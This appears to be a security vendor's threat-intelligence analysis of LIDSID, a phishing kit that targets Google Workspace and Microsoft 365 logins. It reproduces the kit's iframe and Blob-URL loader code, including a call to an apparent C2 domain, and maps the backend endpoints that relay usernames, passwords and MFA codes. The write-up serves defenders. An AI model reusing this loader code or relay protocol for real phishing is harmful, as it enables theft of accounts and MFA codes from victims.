LIDSID

LIDSID is a credential phishing tool targeting Google Workspace and Microsoft 365. Push has tracked evidence of its first appearance back to the beginning of 2026. However, it wasn't until July and August 2026 that an uptick in usage was observed.

Push has named this tool after the parameters that it uses to track victim sessions.

Blob and iframe loader

The landing page hosted on the domain visible in the URL bar typically does not contain the actual cloned login page itself. Instead it runs a loader script that creates a full-screen iframe pointing to a central backend server that hosts the main phishing content and C2 (/gmail-login or /msc-login):

<iframe
  id="frm"
  style="width:100%; height:100vh; border:0;"
  frameborder="0"
  scrolling="no"
  src="https://we.ffongge.com/gmail-login?sid=185903758912144026605835940719&amp;cid=null&amp;warning=1#"></iframe>

Some versions of the landing page open up the loading script from HTML that's loaded as a Blob URL:

const htmlContent = `
  <!DOCTYPE html>
  <html>
  ...
  </html>
`;
const blob = new Blob([htmlContent], { type: "text/html" });
const url = URL.createObjectURL(blob);
const mall = `#${window.location.hash.slice(1)}` ? `#${window.location.hash.slice(1)}` : "";
window.location.replace(url + mall);

Loaders hosted on Google domains

Push has observed multiple instances of LIDSID being delivered through Google domains that permit user hosted content, such as Google Apps Script and Google Cloud Storage. This may add a feeling of legitimacy to the phishing attack. Google Apps Script may be particularly convincing because the fake login page is displayed from a subdomain of google.com itself.

Fake login page displayed from script.google.com

Network traffic

A cross-origin POST request to the /st endpoint on the central backend starts the session:

POST /st
{"cid2":"02","cid":"484535715887","sSize":[1728,1117]}

{"proceed":"439619607907956"}

• cid is a persistent visitor ID stored in localStorage['pp']
• sSize is [screen.width, screen.height].
• proceed becomes the sid, passed as lid in every subsequent call.

Credential relay is carried out using similar requests to the C2 backend:

POST /e    {"user":"john.doe@contoso.com","lid":"439619607907956"}   → {"success":"success"}
POST /p    {"pwd":"Password123","lid":"439619607907956"}
POST /c    {"ac":"<MFA code>","lid":"<sid>"}
POST /t    {"lid":"<sid>"}                                           ← blocking long-poll
POST /cls  {"sid":"<sid>"}                                           → {"cool":"thank you"}